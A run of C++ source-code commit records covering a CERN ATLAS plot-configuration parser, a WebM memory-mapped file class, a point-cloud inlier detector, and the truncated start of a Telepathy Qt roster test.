options:\n\/\/\n\/\/\t\t\tref_line_style -- Reference line style list\n\/\/\t\t\tref_line_color -- Reference line color list\n\/\/\t\t\tdesc -- Description of the entire plot (not a list)\n\/\/\n\/\/\t@Author: \tJ. Gibson, C. Embree, T. Carli - CERN ATLAS\n\/\/\t@Date:\t\t29.09.2014\n\/\/\t@Email:\t\tgibsjose@mail.gvsu.edu\n\/\/\n\/\/************************************************************\/\n#include <stdlib.h> \/\/atoi\n\n#include \"SPXPlotConfiguration.h\"\n#include \"SPXUtilities.h\"\n\n\/\/Class names for debug statements\nconst std::string cn = \"SPXPlotConfiguration::\";\n\n\/\/Must define the static debug variable in the implementation\nbool SPXPlotConfiguration::debug;\nbool SPXPlotConfigurationInstance::debug;\n\n\/\/Constructs an SPXPlotConfiguration object with a vector of string vectors, where indices are:\n\/\/\toptions[0] --> Vector of data steering files\n\/\/\toptions[1] --> Vector of grid steering files\n\/\/\toptions[2] --> Vector of marker styles\n\/\/\toptions[3] --> Vector of marker colors\n\/\/ \toptions[4] --> Vector of reference line styles (optional)\n\/\/\toptions[5] --> Vector of reference line colors (optional)\n\/\/\n\/\/Description is the (optional) frame description\n\/\/And numberOfConfigurationInstances is the size of the vector of string vectors\nSPXPlotConfiguration::SPXPlotConfiguration(const std::vector<std::vector<std::string> > & options, const std::string description, unsigned int numberOfConfigurationInstances) {\n\tthis->SetDefaults();\n\tthis->description = description;\n\tthis->numberOfConfigurationInstances = numberOfConfigurationInstances;\n\t\n\t\/\/Attempt to parse the options instances\n\ttry {\n\t\tthis->Parse(options);\n\t} catch(const SPXException &e) {\n\t\tstd::cerr << e.what() << std::endl;\n\t\t\n\t\tthrow SPXParseException(\"Unable to parse SPXPlotConfiguration instances\");\n\t}\t\n}\n\n\/\/Parse the vector of vector of strings into a vector of SPXPlotConfigurationInstances, convert\n\/\/\tstrings to integers where needed, and check each instance for errors (and IsEmpty) before\n\/\/\tadding it to the vector (call AddOptionsInstance(), which checks IsEmpty and IsValid)\nvoid SPXPlotConfiguration::Parse(const std::vector<std::vector<std::string> > & options) {\n\tstd::string mn = \"Parse: \";\n\t\n\t\/\/Return false if size of options vector is less than 4\n\tif(options.size() < 4) {\n\t\tstd::ostringstream oss;\n\t\t\n\t\toss << \"Too few vectors in options vector: Only \" << options.size() << \" options: Options vector MUST contain vectors for:\" << std::endl;\n\t\toss << \"\\t Data Steering Files\" << std::endl;\n\t\toss << \"\\t Grid Steering Files\" << std::endl;\n\t\toss << \"\\t Marker Styles\" << std::endl;\n\t\toss << \"\\t Marker Colors\" << std::endl;\n\t\t\n\t\toss << \"\\t\\t\\t\\t\\t And optionally for:\" << std::endl;\n\t\toss << \"\\t Reference Line Styles\" << std::endl;\n\t\toss << \"\\t Reference Line Colors\" << std::endl;\n\t\toss << \"\\t X Scale\" << std::endl;\n\t\toss << \"\\t Y Scale\";\n\t\t\n\t\tthrow SPXParseException(oss.str());\n\t}\n\t\n\tif(debug) {\n\t\tstd::cout << cn << mn << \"Parsing frame options vector:\" << std::endl;\n\t\t\n\t\tstd::vector<std::string> tmpVector;\n\t\t\n\t\ttmpVector = options[0];\n\t\tstd::cout << \"\\tdata_steering_files = \" << SPXStringUtilities::VectorToCommaSeparatedList(tmpVector) << std::endl;\n\t\t\n\t\ttmpVector = options[1];\n\t\tstd::cout << \"\\tgrid_steering_files = \" << SPXStringUtilities::VectorToCommaSeparatedList(tmpVector) << std::endl;\n\t\t\n\t\ttmpVector = options[2];\n\t\tstd::cout << \"\\tmarker_style = \" << SPXStringUtilities::VectorToCommaSeparatedList(tmpVector) << std::endl;\n\t\t\n\t\ttmpVector = options[3];\n\t\tstd::cout << \"\\tmarker_color = \" << SPXStringUtilities::VectorToCommaSeparatedList(tmpVector) << std::endl;\n\t\t\n\t\tif(options.size() >= 5) {\n\t\t\ttmpVector = options[4];\n\t\t\tstd::cout << \"\\tref_line_style = \" << SPXStringUtilities::VectorToCommaSeparatedList(tmpVector) << std::endl;\n\t\t} else {\n\t\t\tif(debug) std::cout << cn << mn << \"No reference line style option specified\" << std::endl;\n\t\t}\n\t\t\n\t\tif(options.size() == 6) {\n\t\t\ttmpVector = options[5];\n\t\t\tstd::cout << \"\\tref_line_color = \" << SPXStringUtilities::VectorToCommaSeparatedList(tmpVector) << std::endl;\n\t\t} else {\n\t\t\tif(debug) std::cout << cn << mn << \"No reference line color option specified\" << std::endl;\n\t\t}\n\t}\n\n\tif(debug) std::cout << cn << mn << \"numberOfConfigurationInstances = \" << numberOfConfigurationInstances << std::endl;\n\t\n\t\/\/Check options vector sizes against numberOfConfigurationInstances (should ALL be equal)\n\tif(numberOfConfigurationInstances != options[0].size()) {\n\t\tstd::ostringstream oss;\n\t\toss << \"Size of Data Steering File vector (\" << options[0].size() << \") is NOT equal to the number of options instances (\" << numberOfConfigurationInstances << \")\";\n\t\tthrow SPXParseException(oss.str());\n\t}\n\tif(numberOfConfigurationInstances != options[1].size()) {\n\t\tstd::ostringstream oss;\n\t\toss << \"Size of Grid Steering File vector (\" << options[1].size() << \") is NOT equal to the number of options instances (\" << numberOfConfigurationInstances << \")\";\n\t\tthrow SPXParseException(oss.str());\n\t}\n\tif(numberOfConfigurationInstances != options[2].size()) {\n\t\tstd::ostringstream oss;\n\t\toss << \"Size of Marker Style vector (\" << options[2].size() << \") is NOT equal to the number of options instances (\" << numberOfConfigurationInstances << \")\";\n\t\tthrow SPXParseException(oss.str());\n\t}\n\tif(numberOfConfigurationInstances != options[3].size()) {\n\t\tstd::ostringstream oss;\n\t\toss << \"Size of Marker Color vector (\" << options[3].size() << \") is NOT equal to the number of options instances (\" << numberOfConfigurationInstances << \")\";\n\t\tthrow SPXParseException(oss.str());\n\t}\n\t\n\tif(options.size() >= 5) {\n\t\tif(numberOfConfigurationInstances != options[4].size()) {\n\t\t\tstd::ostringstream oss;\n\t\t\toss << \"Size of Reference Line Style vector (\" << options[4].size() << \") is NOT equal to the number of options instances (\" << numberOfConfigurationInstances << \")\";\n\t\t\tthrow SPXParseException(oss.str());\n\t\t}\n\t}\n\t\n\tif(options.size() == 6) {\n\t\tif(numberOfConfigurationInstances != options[5].size()) {\n\t\t\tstd::ostringstream oss;\n\t\t\toss << \"Size of Reference Line Color vector (\" << options[5].size() << \") is NOT equal to the number of options instances (\" << numberOfConfigurationInstances << \")\";\n\t\t\tthrow SPXParseException(oss.str());\n\t\t}\n\t}\n\t\n\t\/\/For each options instance, create an SPXPlotConfigurationInstance object and add it to the vector\n\tfor(int i = 0; i < numberOfConfigurationInstances; i++) {\t\n\t\tSPXPlotConfigurationInstance pci;\n\t\tpci.SetDefaults();\n\t\t\n\t\t\/\/Create objects and set the filename for the Data\/Grid Steering Files\n\t\tpci.dataSteeringFile = SPXDataSteeringFile(options[0][i]);\n\t\tpci.gridSteeringFile = SPXGridSteeringFile(options[1][i]);\n\t\t\n\t\tpci.markerStyle = atoi(options[2][i].c_str());\n\t\tpci.markerColor = atoi(options[3][i].c_str());\n\t\t\n\t\tif(options.size() >= 5) {\n\t\t\tpci.refLineStyle = atoi(options[4][i].c_str());\n\t\t}\n\t\t\n\t\tif(options.size() == 6) {\n\t\t\tpci.refLineColor = atoi(options[5][i].c_str());\n\t\t}\n\t\t\n\t\t\/\/Attempt to add the configuration instance\n\t\ttry {\n\t\t\tAddConfigurationInstance(pci);\n\t\t} catch(const SPXException &e) {\n\t\t\tstd::cerr << e.what() << std::endl;\n\t\t\t\n\t\t\tthrow SPXParseException(\"ERROR: Could not add options configuration to configuration instance vector: Instance was empty or invalid\");\n\t\t}\n\t}\n}\n\n\/\/Print displays the output of ToString to the console\n\/*\nvoid SPXPlotConfiguration::Print(void) {\n\tstd::string mn = \"Print: \";\n\t\/\/std::cout << this->ToString() << std::endl;\n}\n*\/\n\n\/\/ToString does the opposite of Parse\n\/*\nconst std::string & SPXPlotConfiguration::ToString(void) const {\n\tstd::string mn = \"ToString: \";\n\t\n\t\/\/Empty frame options\n\tif(this->IsEmpty()) {\n\t\treturn \"\";\n\t}\n\t\n\t\/\/Check for validity\n\tif(!this->IsValid()) {\n\t\treturn \"INVALID_FRAME_OPTIONS\";\n\t}\n\t\n\t\n}\n*\/\n\n\/\/Determines whether the Frame Options object is empty or not\nbool SPXPlotConfiguration::IsEmpty(void) {\n\tstd::string mn = \"IsEmpty: \";\n\n\t\/\/Return true if all options vector is empty and numberOfConfigurationInstances is 0\n\tif((numberOfConfigurationInstances == 0) && (configurationInstances.size() == 0)) {\n\t\treturn true;\n\t}\n\t\n\treturn false;\n}\n\n\/\/Determines the validity of the frame options\nbool SPXPlotConfiguration::IsValid(void) {\n\tstd::string mn = \"IsValid: \";\n\t\n\t\/\/Valid, but empty\n\tif(IsEmpty()) {\n\t\treturn true;\n\t}\n\t\n\t\/\/Return false if the numberOfConfigurationInstances does not match the size of the configurationInstances vector\n\tif(numberOfConfigurationInstances != configurationInstances.size()) {\n\t\tif(debug) std::cout << cn << mn << \"Size of Options Instances vector (\" << configurationInstances.size() << \") is NOT equal to the number of options instances (\" << numberOfConfigurationInstances << \")\" << std::endl;\n\t\treturn false;\n\t}\n\t\n\t\/\/Return false if ANY of the frame options are invalid\n\tfor(int i = 0; i < numberOfConfigurationInstances; i++) {\n\t\tif(!configurationInstances[i].IsValid()) {\n\t\t\tif(debug) std::cout << cn << mn << \"An invalid options instance was found at index \" << i << std::endl;\n\t\t\treturn false;\n\t\t}\n\t}\n\t\n\treturn true;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 The WebM project authors. All Rights Reserved.\r\n\/\/\r\n\/\/ Use of this source code is governed by a BSD-style license\r\n\/\/ that can be found in the LICENSE file in the root of the source\r\n\/\/ tree. An additional intellectual property rights grant can be found\r\n\/\/ in the file PATENTS.  All contributing project authors may\r\n\/\/ be found in the AUTHORS file in the root of the source tree.\r\n\r\n#include <objbase.h>\r\n#include \"memfile.hpp\"\r\n#include <cassert>\r\n\r\n\r\nMemFile::MemFile() :\r\n    m_hFile(INVALID_HANDLE_VALUE),\r\n    m_hMap(0),\r\n    m_pView(0),\r\n    m_size(0)\r\n{\r\n}\r\n\r\n\r\nMemFile::~MemFile()\r\n{\r\n    const HRESULT hr = Close();\r\n    hr;\r\n    assert(SUCCEEDED(hr));\r\n}\r\n\r\n\r\nHRESULT MemFile::Open(const wchar_t* strFileName)\r\n{\r\n    if (strFileName == 0)\r\n        return E_INVALIDARG;\r\n\r\n    if (m_hFile != INVALID_HANDLE_VALUE)\r\n        return E_UNEXPECTED;\r\n\r\n    assert(m_hMap == 0);\r\n    assert(m_pView == 0);\r\n\r\n    m_hFile = CreateFile(\r\n                strFileName,\r\n                GENERIC_READ,\r\n                0,  \/\/no sharing\r\n                0,  \/\/security attributes\r\n                OPEN_EXISTING,\r\n                FILE_ATTRIBUTE_READONLY,\r\n                0);\r\n\r\n    if (m_hFile == INVALID_HANDLE_VALUE)\r\n    {\r\n        const DWORD e = GetLastError();\r\n        return HRESULT_FROM_WIN32(e);\r\n    }\r\n\r\n    LARGE_INTEGER size;\r\n\r\n    const BOOL b = GetFileSizeEx(m_hFile, &size);\r\n\r\n    if (!b)\r\n    {\r\n        const DWORD e = GetLastError();\r\n        Close();\r\n        return HRESULT_FROM_WIN32(e);\r\n    }\r\n\r\n    m_size = size.QuadPart;\r\n    assert(m_size >= 0);\r\n\r\n    m_hMap = CreateFileMapping(m_hFile, 0, PAGE_READONLY, 0, 0, 0);\r\n\r\n    if (m_hMap == 0)\r\n    {\r\n        const DWORD e = GetLastError();\r\n        Close();\r\n        return HRESULT_FROM_WIN32(e);\r\n    }\r\n\r\n    m_pView = MapViewOfFile(m_hMap, FILE_MAP_READ, 0, 0, 0);\r\n\r\n    if (m_pView == 0)\r\n    {\r\n        const DWORD e = GetLastError();\r\n        Close();\r\n        return HRESULT_FROM_WIN32(e);\r\n    }\r\n\r\n    return S_OK;\r\n}\r\n\r\n\r\nHRESULT MemFile::Close()\r\n{\r\n    if (m_hFile == INVALID_HANDLE_VALUE)  \/\/already closed\r\n        return S_FALSE;\r\n\r\n    if (m_pView)\r\n    {\r\n        const BOOL b = UnmapViewOfFile(m_pView);\r\n        assert(b);\r\n\r\n        m_pView = 0;\r\n    }\r\n\r\n    if (m_hMap)\r\n    {\r\n        const BOOL b = CloseHandle(m_hMap);\r\n        assert(b);\r\n\r\n        m_hMap = 0;\r\n    }\r\n\r\n    m_size = 0;\r\n\r\n    const BOOL b = CloseHandle(m_hFile);\r\n\r\n    m_hFile = INVALID_HANDLE_VALUE;\r\n\r\n    if (b)\r\n        return S_OK;\r\n\r\n    const DWORD e = GetLastError();\r\n    return HRESULT_FROM_WIN32(e);\r\n}\r\n\r\n\r\nbool MemFile::IsOpen() const\r\n{\r\n    return (m_hFile != INVALID_HANDLE_VALUE);\r\n}\r\n\r\n\r\nHRESULT MemFile::GetView(\r\n    const BYTE*& buf,\r\n    LONGLONG& len) const\r\n{\r\n    if (!IsOpen())\r\n        return E_FAIL;\r\n\r\n    buf = static_cast<const BYTE*>(m_pView);\r\n    len = m_size;\r\n\r\n    return S_OK;\r\n}\r\n<commit_msg>makewebm: use DELETE_ON_CLOSE when opening stats buffer file<commit_after>\/\/ Copyright (c) 2010 The WebM project authors. All Rights Reserved.\r\n\/\/\r\n\/\/ Use of this source code is governed by a BSD-style license\r\n\/\/ that can be found in the LICENSE file in the root of the source\r\n\/\/ tree. An additional intellectual property rights grant can be found\r\n\/\/ in the file PATENTS.  All contributing project authors may\r\n\/\/ be found in the AUTHORS file in the root of the source tree.\r\n\r\n#include <objbase.h>\r\n#include \"memfile.hpp\"\r\n#include <cassert>\r\n\r\n\r\nMemFile::MemFile() :\r\n    m_hFile(INVALID_HANDLE_VALUE),\r\n    m_hMap(0),\r\n    m_pView(0),\r\n    m_size(0)\r\n{\r\n}\r\n\r\n\r\nMemFile::~MemFile()\r\n{\r\n    const HRESULT hr = Close();\r\n    hr;\r\n    assert(SUCCEEDED(hr));\r\n}\r\n\r\n\r\nHRESULT MemFile::Open(const wchar_t* strFileName)\r\n{\r\n    if (strFileName == 0)\r\n        return E_INVALIDARG;\r\n\r\n    if (m_hFile != INVALID_HANDLE_VALUE)\r\n        return E_UNEXPECTED;\r\n\r\n    assert(m_hMap == 0);\r\n    assert(m_pView == 0);\r\n\r\n    m_hFile = CreateFile(\r\n                strFileName,\r\n                GENERIC_READ,\r\n                0,  \/\/no sharing\r\n                0,  \/\/security attributes\r\n                OPEN_EXISTING,\r\n                FILE_FLAG_DELETE_ON_CLOSE,\r\n                0);\r\n\r\n    if (m_hFile == INVALID_HANDLE_VALUE)\r\n    {\r\n        const DWORD e = GetLastError();\r\n        return HRESULT_FROM_WIN32(e);\r\n    }\r\n\r\n    LARGE_INTEGER size;\r\n\r\n    const BOOL b = GetFileSizeEx(m_hFile, &size);\r\n\r\n    if (!b)\r\n    {\r\n        const DWORD e = GetLastError();\r\n        Close();\r\n        return HRESULT_FROM_WIN32(e);\r\n    }\r\n\r\n    m_size = size.QuadPart;\r\n    assert(m_size >= 0);\r\n\r\n    m_hMap = CreateFileMapping(m_hFile, 0, PAGE_READONLY, 0, 0, 0);\r\n\r\n    if (m_hMap == 0)\r\n    {\r\n        const DWORD e = GetLastError();\r\n        Close();\r\n        return HRESULT_FROM_WIN32(e);\r\n    }\r\n\r\n    m_pView = MapViewOfFile(m_hMap, FILE_MAP_READ, 0, 0, 0);\r\n\r\n    if (m_pView == 0)\r\n    {\r\n        const DWORD e = GetLastError();\r\n        Close();\r\n        return HRESULT_FROM_WIN32(e);\r\n    }\r\n\r\n    return S_OK;\r\n}\r\n\r\n\r\nHRESULT MemFile::Close()\r\n{\r\n    if (m_hFile == INVALID_HANDLE_VALUE)  \/\/already closed\r\n        return S_FALSE;\r\n\r\n    if (m_pView)\r\n    {\r\n        const BOOL b = UnmapViewOfFile(m_pView);\r\n        assert(b);\r\n\r\n        m_pView = 0;\r\n    }\r\n\r\n    if (m_hMap)\r\n    {\r\n        const BOOL b = CloseHandle(m_hMap);\r\n        assert(b);\r\n\r\n        m_hMap = 0;\r\n    }\r\n\r\n    m_size = 0;\r\n\r\n    const BOOL b = CloseHandle(m_hFile);\r\n\r\n    m_hFile = INVALID_HANDLE_VALUE;\r\n\r\n    if (b)\r\n        return S_OK;\r\n\r\n    const DWORD e = GetLastError();\r\n    return HRESULT_FROM_WIN32(e);\r\n}\r\n\r\n\r\nbool MemFile::IsOpen() const\r\n{\r\n    return (m_hFile != INVALID_HANDLE_VALUE);\r\n}\r\n\r\n\r\nHRESULT MemFile::GetView(\r\n    const BYTE*& buf,\r\n    LONGLONG& len) const\r\n{\r\n    if (!IsOpen())\r\n        return E_FAIL;\r\n\r\n    buf = static_cast<const BYTE*>(m_pView);\r\n    len = m_size;\r\n\r\n    return S_OK;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#include \"InlierDetector.hpp\"\n\nnamespace registration {\n\nvoid InlierDetector::set_input(const FeatureMat * const inFeatures,\n                        const FeatureMat * const inCorrespondingFeatures,\n                        const VecDynFloat * const inCorrespondingFlags)\n{\n    \/\/# Set input\n    _inFeatures = inFeatures;\n    _inCorrespondingFeatures = inCorrespondingFeatures;\n    _inCorrespondingFlags = inCorrespondingFlags;\n\n    \/\/# Update internal variables\n    _numElements = _inFeatures->rows();\n}\n\nvoid InlierDetector::set_output(VecDynFloat * const ioProbability)\n{\n    _ioProbability = ioProbability;\n}\n\nvoid InlierDetector::set_parameters(const float kappa, const bool useOrientation)\n{\n    _kappa = kappa;\n    _useOrientation = useOrientation;\n}\n\n\nvoid InlierDetector::update() {\n\n\/\/    _parameterList[\"jos\"] = 2.0f;\n\/\/    _parameterList.insert(std::make_pair(\"ljkewqr\", 3));\n\/\/    _parameterList.insert(std::make_pair(\"beschrijving\", \"Wat een moeilijkheden\"));\n\/\/    _parameterList.insert(std::make_pair(\"inlierKappa\", int(3)));\n\/\/    std::cout << \"Parameter list 'beschrijving':\" << _parameterList[\"beschrijving\"] << std::endl;\n\/\/\n\/\/    DictionaryType::iterator it = _parameterList.begin();\n\/\/    while(it != _parameterList.end())\n\/\/    {\n\/\/        std::cout<<it->first<<\" :: \"<<it->second<<std::endl;\n\/\/        it++;\n\/\/    }\n\n    \/\/# Flag based inlier\/outlier classification\n    \/\/## If a floating node is attracted to a corresponding node with flag 0.0,\n    \/\/## its inlier weight should be made zero as well. So we can use the\n    \/\/## corresponding flags as a first way to determine inlier weights for the\n    \/\/## floating nodes.\n    \/\/## -> Initialize the probabilities as a copy of the flags\n    *_ioProbability = *_inCorrespondingFlags;\n\n    \/\/# Distance based inlier\/outlier classification\n    \/\/## Re-calculate the parameters sigma and lambda\n    float sigmaa = 0.0;\n    float lambdaa = 0.0;\n    float sigmaNumerator = 0.0;\n    float sigmaDenominator = 0.0;\n    \/\/DEBUG\n    std::cout << \"===========================\" << std::endl;\n    std::cout << \"Computing SIGMA.\" << std::endl;\n    \/\/END DEBUG\n    for (size_t i = 0 ; i < _numElements ; i++) {\n        \/\/### Compute distance (squared)\n        FeatureVec difVector = _inCorrespondingFeatures->row(i) - _inFeatures->row(i);\n        const float distanceSquared = difVector.squaredNorm();\n\n        sigmaNumerator += (*_ioProbability)[i] * distanceSquared;\n        sigmaDenominator += (*_ioProbability)[i];\n    }\n    \/\/### sigma and lambda\n    sigmaa = std::sqrt(sigmaNumerator\/sigmaDenominator);\n    if (sigmaa < _minimalSigma) {sigmaa = _minimalSigma;}\n    else if (sigmaa > _maximalSigma) {sigmaa = _maximalSigma;}\n\n    lambdaa = 1.0\/(std::sqrt(2.0 * 3.14159) * sigmaa) * std::exp(-0.5 * _kappa * _kappa);\n\n    \/\/## Recalculate the distance-based probabilities\n    for (size_t i = 0 ; i < _numElements ; i++) {\n        \/\/### Get squared distance\n        FeatureVec difVector = _inCorrespondingFeatures->row(i) - _inFeatures->row(i);\n        const float distanceSquared = difVector.squaredNorm();\n        \/\/### Compute probability\n        float probability = 1.0\/(std::sqrt(2.0 * 3.14159) * sigmaa) * std::exp(-0.5 * distanceSquared \/ std::pow(sigmaa, 2.0));\n        probability \/= (probability + lambdaa);\n        (*_ioProbability)[i] *= probability;\n\n    }\n\n\n    \/\/#Gradient Based inlier\/outlier classification\n    if (_useOrientation){\n        float averageOrientationInlierWeight = 0.0f; \/\/simply to warn the user when this is too low, they probably have the normals flipped.\n        for (size_t i = 0 ; i < _numElements ; i++) {\n            const Vec3Float normal = _inFeatures->row(i).tail(3);\n            const Vec3Float correspondingNormal = _inCorrespondingFeatures->row(i).tail(3);\n            \/\/## Dot product gives an idea of how well they point in the same\n            \/\/## direction. This gives a weight between -1.0 and +1.0\n            const float dotProduct = normal.dot(correspondingNormal);\n            \/\/## Rescale this result so that it's continuous between 0.0 and +1.0\n            float probability = dotProduct \/ 2.0 + 0.5;\n            (*_ioProbability)[i] *= probability;\n            averageOrientationInlierWeight += probability;\n        }\n\n        averageOrientationInlierWeight \/= _numElements;\n        if (averageOrientationInlierWeight < 0.5f) {\n            std::cout << \"Warning: very low inlier weights due to surface normals. Are you sure one of the surfaces doesn't have its vertex normals flipped?\" <<std::endl;\n        }\n    }\n\n}\/\/end inlier_detection\n\n}\n<commit_msg>Further cleaned print commands.<commit_after>#include \"InlierDetector.hpp\"\n\nnamespace registration {\n\nvoid InlierDetector::set_input(const FeatureMat * const inFeatures,\n                        const FeatureMat * const inCorrespondingFeatures,\n                        const VecDynFloat * const inCorrespondingFlags)\n{\n    \/\/# Set input\n    _inFeatures = inFeatures;\n    _inCorrespondingFeatures = inCorrespondingFeatures;\n    _inCorrespondingFlags = inCorrespondingFlags;\n\n    \/\/# Update internal variables\n    _numElements = _inFeatures->rows();\n}\n\nvoid InlierDetector::set_output(VecDynFloat * const ioProbability)\n{\n    _ioProbability = ioProbability;\n}\n\nvoid InlierDetector::set_parameters(const float kappa, const bool useOrientation)\n{\n    _kappa = kappa;\n    _useOrientation = useOrientation;\n}\n\n\nvoid InlierDetector::update() {\n\n\/\/    _parameterList[\"jos\"] = 2.0f;\n\/\/    _parameterList.insert(std::make_pair(\"ljkewqr\", 3));\n\/\/    _parameterList.insert(std::make_pair(\"beschrijving\", \"Wat een moeilijkheden\"));\n\/\/    _parameterList.insert(std::make_pair(\"inlierKappa\", int(3)));\n\/\/    std::cout << \"Parameter list 'beschrijving':\" << _parameterList[\"beschrijving\"] << std::endl;\n\/\/\n\/\/    DictionaryType::iterator it = _parameterList.begin();\n\/\/    while(it != _parameterList.end())\n\/\/    {\n\/\/        std::cout<<it->first<<\" :: \"<<it->second<<std::endl;\n\/\/        it++;\n\/\/    }\n\n    \/\/# Flag based inlier\/outlier classification\n    \/\/## If a floating node is attracted to a corresponding node with flag 0.0,\n    \/\/## its inlier weight should be made zero as well. So we can use the\n    \/\/## corresponding flags as a first way to determine inlier weights for the\n    \/\/## floating nodes.\n    \/\/## -> Initialize the probabilities as a copy of the flags\n    *_ioProbability = *_inCorrespondingFlags;\n\n    \/\/# Distance based inlier\/outlier classification\n    \/\/## Re-calculate the parameters sigma and lambda\n    float sigmaa = 0.0;\n    float lambdaa = 0.0;\n    float sigmaNumerator = 0.0;\n    float sigmaDenominator = 0.0;\n    for (size_t i = 0 ; i < _numElements ; i++) {\n        \/\/### Compute distance (squared)\n        FeatureVec difVector = _inCorrespondingFeatures->row(i) - _inFeatures->row(i);\n        const float distanceSquared = difVector.squaredNorm();\n\n        sigmaNumerator += (*_ioProbability)[i] * distanceSquared;\n        sigmaDenominator += (*_ioProbability)[i];\n    }\n    \/\/### sigma and lambda\n    sigmaa = std::sqrt(sigmaNumerator\/sigmaDenominator);\n    if (sigmaa < _minimalSigma) {sigmaa = _minimalSigma;}\n    else if (sigmaa > _maximalSigma) {sigmaa = _maximalSigma;}\n\n    lambdaa = 1.0\/(std::sqrt(2.0 * 3.14159) * sigmaa) * std::exp(-0.5 * _kappa * _kappa);\n\n    \/\/## Recalculate the distance-based probabilities\n    for (size_t i = 0 ; i < _numElements ; i++) {\n        \/\/### Get squared distance\n        FeatureVec difVector = _inCorrespondingFeatures->row(i) - _inFeatures->row(i);\n        const float distanceSquared = difVector.squaredNorm();\n        \/\/### Compute probability\n        float probability = 1.0\/(std::sqrt(2.0 * 3.14159) * sigmaa) * std::exp(-0.5 * distanceSquared \/ std::pow(sigmaa, 2.0));\n        probability \/= (probability + lambdaa);\n        (*_ioProbability)[i] *= probability;\n\n    }\n\n\n    \/\/#Gradient Based inlier\/outlier classification\n    if (_useOrientation){\n        float averageOrientationInlierWeight = 0.0f; \/\/simply to warn the user when this is too low, they probably have the normals flipped.\n        for (size_t i = 0 ; i < _numElements ; i++) {\n            const Vec3Float normal = _inFeatures->row(i).tail(3);\n            const Vec3Float correspondingNormal = _inCorrespondingFeatures->row(i).tail(3);\n            \/\/## Dot product gives an idea of how well they point in the same\n            \/\/## direction. This gives a weight between -1.0 and +1.0\n            const float dotProduct = normal.dot(correspondingNormal);\n            \/\/## Rescale this result so that it's continuous between 0.0 and +1.0\n            float probability = dotProduct \/ 2.0 + 0.5;\n            (*_ioProbability)[i] *= probability;\n            averageOrientationInlierWeight += probability;\n        }\n\n        averageOrientationInlierWeight \/= _numElements;\n        if (averageOrientationInlierWeight < 0.5f) {\n            std::cout << \"Warning: very low inlier weights due to surface normals. Are you sure one of the surfaces doesn't have its vertex normals flipped?\" <<std::endl;\n        }\n    }\n\n}\/\/end inlier_detection\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <QtCore\/QDebug>\n#include <QtCore\/QTimer>\n\n#include <QtDBus\/QtDBus>\n\n#include <QtTest\/QtTest>\n\n#include <TelepathyQt4\/Connection>\n#include <TelepathyQt4\/Contact>\n#include <TelepathyQt4\/ContactManager>\n#include <TelepathyQt4\/PendingChannel>\n#include <TelepathyQt4\/PendingContacts>\n#include <TelepathyQt4\/PendingReady>\n#include <TelepathyQt4\/Debug>\n\n#include <telepathy-glib\/debug.h>\n\n#include <tests\/lib\/glib\/contactlist\/conn.h>\n#include <tests\/lib\/test.h>\n\nusing namespace Tp;\n\nclass TestConnRoster : public Test\n{\n    Q_OBJECT\n\npublic:\n    TestConnRoster(QObject *parent = 0)\n        : Test(parent), mConnService(0)\n    { }\n\nprotected Q_SLOTS:\n    void expectConnInvalidated();\n    void expectPendingContactsFinished(Tp::PendingOperation *);\n    void expectPresenceStateChanged(Tp::Contact::PresenceState);\n    void expectAllKnownContactsChanged(const Tp::Contacts &added, const Tp::Contacts &removed);\n\nprivate Q_SLOTS:\n    void initTestCase();\n    void init();\n\n    void testRoster();\n\n    void cleanup();\n    void cleanupTestCase();\n\nprivate:\n    QString mConnName, mConnPath;\n    ExampleContactListConnection *mConnService;\n    ConnectionPtr mConn;\n    QList<ContactPtr> mContacts;\n    int mHowManyKnownContacts;\n};\n\nvoid TestConnRoster::expectConnInvalidated()\n{\n    mLoop->exit(0);\n}\n\nvoid TestConnRoster::expectPendingContactsFinished(PendingOperation *op)\n{\n    if (!op->isFinished()) {\n        qWarning() << \"unfinished\";\n        mLoop->exit(1);\n        return;\n    }\n\n    if (op->isError()) {\n        qWarning().nospace() << op->errorName()\n            << \": \" << op->errorMessage();\n        mLoop->exit(2);\n        return;\n    }\n\n    if (!op->isValid()) {\n        qWarning() << \"inconsistent results\";\n        mLoop->exit(3);\n        return;\n    }\n\n    qDebug() << \"finished\";\n    PendingContacts *pending = qobject_cast<PendingContacts *>(op);\n    mContacts = pending->contacts();\n\n    mLoop->exit(0);\n}\n\nvoid TestConnRoster::expectAllKnownContactsChanged(const Tp::Contacts& added, const Tp::Contacts& removed)\n{\n    qDebug() << added.size() << \" contacts added, \" << removed.size() << \" contacts removed\";\n    mHowManyKnownContacts += added.size();\n    mHowManyKnownContacts -= removed.size();\n    if (mConn->contactManager()->allKnownContacts().size() != mHowManyKnownContacts) {\n        qWarning() << \"Contacts number mismatch! Watched value: \" << mHowManyKnownContacts\n                   << \"allKnownContacts(): \" << mConn->contactManager()->allKnownContacts().size();\n        mLoop->exit(1);\n    } else {\n        mLoop->exit(0);\n    }\n}\n\nvoid TestConnRoster::expectPresenceStateChanged(Contact::PresenceState state)\n{\n    mLoop->exit(0);\n}\n\nvoid TestConnRoster::initTestCase()\n{\n    initTestCaseImpl();\n\n    g_type_init();\n    g_set_prgname(\"conn-roster\");\n    tp_debug_set_flags(\"all\");\n    dbus_g_bus_get(DBUS_BUS_STARTER, 0);\n\n    gchar *name;\n    gchar *connPath;\n    GError *error = 0;\n\n    mConnService = EXAMPLE_CONTACT_LIST_CONNECTION(g_object_new(\n            EXAMPLE_TYPE_CONTACT_LIST_CONNECTION,\n            \"account\", \"me@example.com\",\n            \"protocol\", \"contactlist\",\n            \"simulation-delay\", 1,\n            NULL));\n    QVERIFY(mConnService != 0);\n    QVERIFY(tp_base_connection_register(TP_BASE_CONNECTION(mConnService),\n                \"contacts\", &name, &connPath, &error));\n    QVERIFY(error == 0);\n\n    QVERIFY(name != 0);\n    QVERIFY(connPath != 0);\n\n    mConnName = QLatin1String(name);\n    mConnPath = QLatin1String(connPath);\n\n    g_free(name);\n    g_free(connPath);\n}\n\nvoid TestConnRoster::init()\n{\n    initImpl();\n\n    mConn = Connection::create(mConnName, mConnPath);\n\n    QVERIFY(connect(mConn->requestConnect(),\n                    SIGNAL(finished(Tp::PendingOperation*)),\n                    SLOT(expectSuccessfulCall(Tp::PendingOperation*))));\n    QCOMPARE(mLoop->exec(), 0);\n    QCOMPARE(mConn->isReady(), true);\n    QCOMPARE(mConn->status(), Connection::StatusConnected);\n}\n\nvoid TestConnRoster::testRoster()\n{\n    Features features = Features() << Connection::FeatureRoster;\n    QVERIFY(connect(mConn->becomeReady(features),\n            